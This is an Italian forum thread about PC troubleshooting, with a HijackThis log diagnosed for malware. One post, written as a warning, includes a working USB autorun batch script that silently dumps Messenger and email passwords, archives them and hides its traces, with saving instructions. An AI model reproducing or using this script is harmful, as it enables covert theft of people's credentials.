Problemi di PC? Risolve tutto il vs. Inchiostro Simpatico

[Mr. G]

Io, per ora, ho tolto la spunta da quell'aggiornamento (in Windows Update) e l'avviso sul tray non c'è più.

Vorrei solo capire se è un aggiornamento vitale per il pc o meno. (dai log ho notato che prova ad installarlo da agosto forse tanto vitale non è visto che vado avanti )

Grazie per i link, sia a Diablo che a Federico

[El Diablo]

Diablo, vuoi ridere...?
Ora quando apro la posta esce un applet che dice: " windows installer" installazione in corso..e se poi cerco di eliminare qualcosa da pannello di controllo o installare mi dice che installer e' difettoso... mi sa che meglio portare pc in clinica, eppure Norton non rileva schifezze...

Norton???????????

Pc in clinica, anzi, in comunità

[El Diablo]

Vorrei solo capire se è un aggiornamento vitale per il pc o meno. (dai log ho notato che prova ad installarlo da agosto forse tanto vitale non è visto che vado avanti )

http://it.wikipedia.org/wiki/.NET_Framework

Vitale?
Fino a due anni fa ho navigato per otto anni con un pc avente solo Xp base, senza nessun SP e nessun altro aggiornamento.
Può bastare?

[Mr. G]

Vorrei solo capire se è un aggiornamento vitale per il pc o meno. (dai log ho notato che prova ad installarlo da agosto forse tanto vitale non è visto che vado avanti )

http://it.wikipedia.org/wiki/.NET_Framework

Vitale?
Fino a due anni fa ho navigato per otto anni con un pc avente solo Xp base, senza nessun SP e nessun altro aggiornamento.
Può bastare?

Infatti

[federicoweb]

Bhe' gli aggiornamenti servono " solo" a colmare le tante falle
che ha winzoz... XP comunque sempre meglio di Vista...
Nemmeno il 7 l' ultimo nato, appena uscito han trovato
tante falle per la sicurezza...
certo che vai avanti, ma immagina se qualcuno riesce
ad entrare nel tuo pc... leggere tutte le tue password, accedere al conto della banca etc etc etc...
riflettete.... ed aggiornate !

[El Diablo]

Solo un pazzo dati sensibili sul proprio pc, dati quali appunto password, codici importanti, e così via.
Se qualcuno entrasse nel mio pc, troverebbe qualche mp3, qualche foto hard, null'altro.
La roba buona è stivata negli HD esterni, criptati e al sicuro da ogni intrusione via Internet.

[Mr. G]

Io l'ho appena ripulito di oltre 50 giga... non c'è niente...
Se non fosse per qualche programma installato sarebbe praticamente nuovo

[federicoweb]

Diablo...
... non si tratta di tenere password sul pc in formato txt.. ma ci sono tanti bastardi che dovrebbero essere puniti come in Usa, con la galera per i crimini
d' intrusione...
...purtroppo ci sono programmi come brute force o tramite ip, finte pagine fatte da hacker, pensi di entrare nella homepage della banca
ed invece..e' una pagina fake

File-virus eseguibili che si lanciano da soli o mascherati dietro ad immagini che spediscono le password che hai digitato...
( sapevate che anche dietro l' immagine di google possono esserci schifezze? )

E' possibile entrare in un pc con messanger... o tramite la porta 139..
con il metodo Netbios,facendo dwnload del file "Project R3x"
che è uno scanner di IP oppure tramite Telnet
http://www.vidoemo.com/yvideo.php?entra ... uRpMTRiWkE

http://www.youtube.com/watch?v=-WgsgVCZ7Oo

Ci sono programmi piccolissimi che installi su un pc e ti salvano in formato txt le pass..
alcuni con messanger MessenPass e Mail PassView tramite chiavetta usb..

un estratto...
@mspass.exe /sverhtml mspass.html
@mailpv.exe /sverhtml mailpv.html
REM Scrittura del file di log
@echo COMPUTERNAME = %COMPUTERNAME% > log.txt
@echo USERNAME = %USERNAME% >> log.txt
@echo USERDOMAIN = %USERDOMAIN% >> log.txt
@echo USERPROFILE = %USERPROFILE% >> log.txt
@echo. >> log.txt
@echo Oggi e’ %DATE% e sono le %TIME% >> log.txt
REM Compressione
@rar.exe a -pPASSWORD backup_%random%.rar *.html log.txt > nul
REM Eliminazione e celamento dei file usati
@del *.html
@del log.txt
@attrib +h *.exe
@attrib +h autorun.inf
Alla fine, salvate il file con il nome lancia.bat:
andate semplicemente su File/Salva file con nome…
e, nella finestra che si apre, scrivete lancia.bat
in Nome file e selezionate Tutti i file in Salva come.
Il file deve essere salvato nella Chiavetta.
Dopo aver creato il file lancia.bat,
create il file autorun.inf sempre con il Blocco note:
[autorun]
open=lancia.bat
action=Preleva password

Programmini che rubano pass di messanger etc etc etc..insomma bisogna stare attenti.. ed AGGIORNARE winzoz !

[kiss of medusa]

Per kiss of medusa, prova a fare scansione con antivirus online
http://housecall.trendmicro.com/

Dopo aver fatto una scansione con un antivirus di infima qualita',pare che
il Windows System Alert con i suoi vari allarmi sia sparito,cosi come il
riavvio del sistema automatico ogni 2 ore,ma non mi fido per niente(non
vorrei fosse il classico canto del cigno) tante' che AVG e Spyboot non mi
partono in ogni caso e non riesco a lanciare Malware Bytes e ogni tanto mi
compare un messaggio di errore in merito al Google Installer.

Ho fatto una scansione con HiJackThis e il logfile e' il seguente:

Logfile of Trend Micro HijackThis v2.0.3 (BETA)
Scan saved at 15.50.05, on 31/12/2009
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.6000.16945)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\RTHDCPL.EXE
C:\Programmi\ATI Technologies\ATI.ACE\Core-Static\MOM.exe
C:\PROGRA~1\AVG\AVG8\avgtray.exe
C:\PROGRA~1\ALICET~1\SMARTB~1\MotiveSB.exe
C:\Programmi\Java\jre6\bin\jusched.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Programmi\Alice ti aiuta\bin\mpbtn.exe
C:\Programmi\ATI Technologies\ATI.ACE\Core-Static\ccc.exe
C:\Programmi\Java\jre6\bin\jqs.exe
C:\WINDOWS\system32\wuauclt.exe
C:\Programmi\Mozilla Firefox\firefox.exe
C:\WINDOWS\System32\msiexec.exe
C:\Programmi\eMule\emule.exe
C:\Programmi\TrendMicro\HiJackThis\HiJackThis.exe

R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page =
http://users.iptelecom.net.ua/~codecs/
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL =
http://go.microsoft.com/fwlink/?LinkId=69157
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL =
http://go.microsoft.com/fwlink/?LinkId=54896
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page =
http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page =
http://go.microsoft.com/fwlink/?LinkId=69157
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName =
Collegamenti
O2 - BHO: Supporto di collegamento per Adobe PDF Reader -
{06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Programmi\File
comuni\Adobe\Acrobat\ActiveX\AcroIEHelper.dll
O2 - BHO: WormRadar.com IESiteBlocker.NavFilter -
{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0} - C:\Programmi\AVG\AVG8\avgssie.dll
O2 - BHO: Spybot-S&D IE Protection -
{53707962-6F74-2D53-2644-206D7942484F} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O2 - BHO: Java(tm) Plug-In 2 SSV Helper -
{DBC80044-A445-435b-BC74-9C25C1C588A9} -
C:\Programmi\Java\jre6\bin\jp2ssv.dll
O2 - BHO: JQSIEStartDetectorImpl - {E7E6F031-17CE-4C07-BC86-EABFE594F69C} -
C:\Programmi\Java\jre6\lib\deploy\jqs\ie\jqs_plugi n.dll
O4 - HKLM\..\Run: [RTHDCPL] RTHDCPL.EXE
O4 - HKLM\..\Run: [SkyTel] SkyTel.EXE
O4 - HKLM\..\Run: [Alcmtr] ALCMTR.EXE
O4 - HKLM\..\Run: [StartCCC] "C:\Programmi\ATI
Technologies\ATI.ACE\Core-Static\CLIStart.exe" MSRun
O4 - HKLM\..\Run: [Adobe Reader Speed Launcher] "C:\Programmi\Adobe\Reader
8.0\Reader\Reader_sl.exe"
O4 - HKLM\..\Run: [AVG8_TRAY] C:\PROGRA~1\AVG\AVG8\avgtray.exe
O4 - HKLM\..\Run: [Motive SmartBridge]
C:\PROGRA~1\ALICET~1\SMARTB~1\MotiveSB.exe
O4 - HKLM\..\Run: [SunJavaUpdateSched]
"C:\Programmi\Java\jre6\bin\jusched.exe"
O4 - HKCU\..\Run: [SpybotSD TeaTimer] C:\Programmi\Spybot - Search &
Destroy\TeaTimer.exe
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O4 - HKCU\..\Run: [EA Core] "C:\Programmi\Electronic
Arts\EADM\Core.exe" -silent
O4 - HKCU\..\Run: [richtx64.exe]
C:\DOCUME~1\Admin\IMPOST~1\Temp\richtx64.exe
O4 - HKCU\..\Run: [Malware Defense] "C:\Programmi\Malware
Defense\mdefense.exe" -noscan
O4 - HKUS\S-1-5-19\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User
'SERVIZIO LOCALE')
O4 - HKUS\S-1-5-20\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User
'SERVIZIO DI RETE')
O4 - HKUS\S-1-5-18\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User
'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User
'Default user')
O4 - Global Startup: Alice ti aiuta.lnk = C:\Programmi\Alice ti
aiuta\bin\matcli.exe
O8 - Extra context menu item: E&xporter vers Microsoft Excel -
res://C:\PROGRA~1\MICROS~2\Office12\EXCEL.EXE/3000
O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} -
C:\PROGRA~1\MICROS~2\Office12\REFIEBAR.DLL
O9 - Extra button: (no name) - {DFB852A3-47F8-48C4-A200-58CAB36FD2A2} -
C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O9 - Extra 'Tools' menuitem: Spybot - Search & Destroy Configuration -
{DFB852A3-47F8-48C4-A200-58CAB36FD2A2} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} -
C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 -
{e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network
Diagnostic\xpnetdiag.exe
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} -
C:\Programmi\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger -
{FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Programmi\Messenger\msmsgs.exe
O17 -
HKLM\System\CCS\Services\Tcpip\..\{A0241D45-4C58-4D8A-8F16-9E62DF3CC46B}:
NameServer = 85.37.17.52 85.38.28.92
O18 - Protocol: linkscanner - {F274614C-63F8-47D5-A4D1-FBDDE494F8D1} -
C:\Programmi\AVG\AVG8\avgpp.dll
O20 - Winlogon Notify: avgrsstarter - avgrsstx.dll (file missing)
O22 - SharedTaskScheduler: Precaricatore Browseui -
{438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINDOWS\System32\browseui.dll
O22 - SharedTaskScheduler: Daemon di cache delle categorie di componenti -
{8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINDOWS\System32\browseui.dll
O23 - Service: Ati HotKey Poller - ATI Technologies Inc. -
C:\WINDOWS\system32\Ati2evxx.exe
O23 - Service: ATI Smart - Unknown owner - C:\WINDOWS\system32\ati2sgag.exe
O23 - Service: AVG Free8 E-mail Scanner (avg8emc) - AVG Technologies CZ,
s.r.o. - C:\PROGRA~1\AVG\AVG8\avgemc.exe
O23 - Service: AVG Free8 WatchDog (avg8wd) - AVG Technologies CZ, s.r.o. -
C:\PROGRA~1\AVG\AVG8\avgwdsvc.exe
O23 - Service: Servizio di Google Update (gupdate1c9b63a464b4f0e)
(gupdate1c9b63a464b4f0e) - Google Inc. -
C:\Programmi\Google\Update\GoogleUpdate.exe
O23 - Service: InstallDriver Table Manager (IDriverT) - Macrovision
Corporation - C:\Programmi\File comuni\InstallShield\Driver\11\Intel
32\IDriverT.exe
O23 - Service: Java Quick Starter (JavaQuickStarterService) - Sun
Microsystems, Inc. - C:\Programmi\Java\jre6\bin\jqs.exe
O24 - Desktop Component 0: (no name) -
file:///C:/DOCUME~1/Admin/IMPOST~1/Temp/msohtmlclip1/01/clip_image001.jpg


Se qualche anima pia sapesse quali componenti dovrei fixare gli e ne sarei
davvero grato.

Grazie Mille e tanti Auguri di Felice 2010!

[El Diablo]

Ci sono decine di punti interrogativi, siamo messi malissimo.
Prova a guardare questa pagina http://www.ilsoftware.it/hijackthis.asp
E' lì che si analizza il log, così puoi vedere anche tu.
Poi iniziamo, ma non ti prometto nulla, sperèm.
Non ricordo se lo hai già scritto, ma che sistema operativo usi?
Browser?

Per tutti: quando eseguite la scansione con HijackThis dovete chiudere tutte le altre applicazioni, e se volete potete anche disattivare momentaneamente il vostro antivirus, per poi riattivarlo prima della riconnessione ad Internet.

[kiss of medusa]

Ci sono decine di punti interrogativi, siamo messi malissimo.
Prova a guardare questa pagina http://www.ilsoftware.it/hijackthis.asp
E' lì che si analizza il log, così puoi vedere anche tu.
Poi iniziamo, ma non ti prometto nulla, sperèm.
Non ricordo se lo hai già scritto, ma che sistema operativo usi?
Browser?

Sistema Operativo Windows Xp Browser Firefox anche se nel logfile mi indica IE


O2 - BHO: (no name) - {5C255C8A-E604-49b4-9D64-90988571CECB} - (no file)
Diagnosi
Sicuro
Sicuro
Applicazione sconosciuta.
Gli elementi non necessari (disattivati) dovrebbero essere eliminati. Questa voce è stata classificata dai nostri visitatori come sicura.

O4 - HKCU\..\Run: [richtx64.exe] C:\DOCUME~1\Admin\IMPOST~1\Temp\richtx64.exe
Diagnosi
Sembra che il nome di questo programma sia identico al nome del file. In molti casi questo avviene con i trojans. Per essere sicuro, devi controllare questo file.

O4 - HKCU\..\Run: [Malware Defense] "C:\Programmi\Malware Defense\mdefense.exe" -noscan
Diagnosi
Applicazione sconosciuta. QUESTO E' IL FAMOSO MALWARE


O20 - Winlogon Notify: avgrsstarter - avgrsstx.dll (file missing)
Diagnosi
Sicuro
Sicuro
Gli elementi non necessari (disattivati) dovrebbero essere eliminati.

O23 - Service: AVG Free8 E-mail Scanner (avg8emc) - AVG Technologies CZ, s.r.o. - C:\PROGRA~1\AVG\AVG8\avgemc.exe
Diagnosi
Questo servizio (avgemc.exe) e' stato identificato come non pericoloso.

O24 - Desktop Component 0: (no name) - file:///C:/DOCUME~1/Admin/IMPOST~1/Temp/msohtmlclip1/01/clip_image001.jpg
Diagnosi

Questi sono i file sospetti che non hanno la stringa verde.

GRAZIE!

[El Diablo]

Ci sono decine di punti interrogativi, siamo messi malissimo.
Prova a guardare questa pagina http://www.ilsoftware.it/hijackthis.asp
E' lì che si analizza il log, così puoi vedere anche tu.
Poi iniziamo, ma non ti prometto nulla, sperèm.
Non ricordo se lo hai già scritto, ma che sistema operativo usi?
Browser?

Sistema Operativo Windows Xp Browser Firefox anche se nel logfile mi indica IE


O2 - BHO: (no name) - {5C255C8A-E604-49b4-9D64-90988571CECB} - (no file)
Diagnosi
Sicuro
Sicuro
Applicazione sconosciuta.
Gli elementi non necessari (disattivati) dovrebbero essere eliminati. Questa voce è stata classificata dai nostri visitatori come sicura.

O4 - HKCU\..\Run: [richtx64.exe] C:\DOCUME~1\Admin\IMPOST~1\Temp\richtx64.exe
Diagnosi
Sembra che il nome di questo programma sia identico al nome del file. In molti casi questo avviene con i trojans. Per essere sicuro, devi controllare questo file.

O4 - HKCU\..\Run: [Malware Defense] "C:\Programmi\Malware Defense\mdefense.exe" -noscan
Diagnosi
Applicazione sconosciuta. QUESTO E' IL FAMOSO MALWARE


O20 - Winlogon Notify: avgrsstarter - avgrsstx.dll (file missing)
Diagnosi
Sicuro
Sicuro
Gli elementi non necessari (disattivati) dovrebbero essere eliminati.

O23 - Service: AVG Free8 E-mail Scanner (avg8emc) - AVG Technologies CZ, s.r.o. - C:\PROGRA~1\AVG\AVG8\avgemc.exe
Diagnosi
Questo servizio (avgemc.exe) e' stato identificato come non pericoloso.

O24 - Desktop Component 0: (no name) - file:///C:/DOCUME~1/Admin/IMPOST~1/Temp/msohtmlclip1/01/clip_image001.jpg
Diagnosi

Questi sono i file sospetti che non hanno la stringa verde.

GRAZIE!

Quello in neretto puoi fixarlo.
Quello in verde lo devi controllare di persona.
Malware ( in rosso) http://www.laguidainformatica.it/2009/1 ... defensebi/

[Pim]

grazie ragazzi

[El Diablo]

grazie ragazzi

???
Di cosa?

[Pim]

perchè tenete d'occhio gli utenti
anzi gli u-tonti!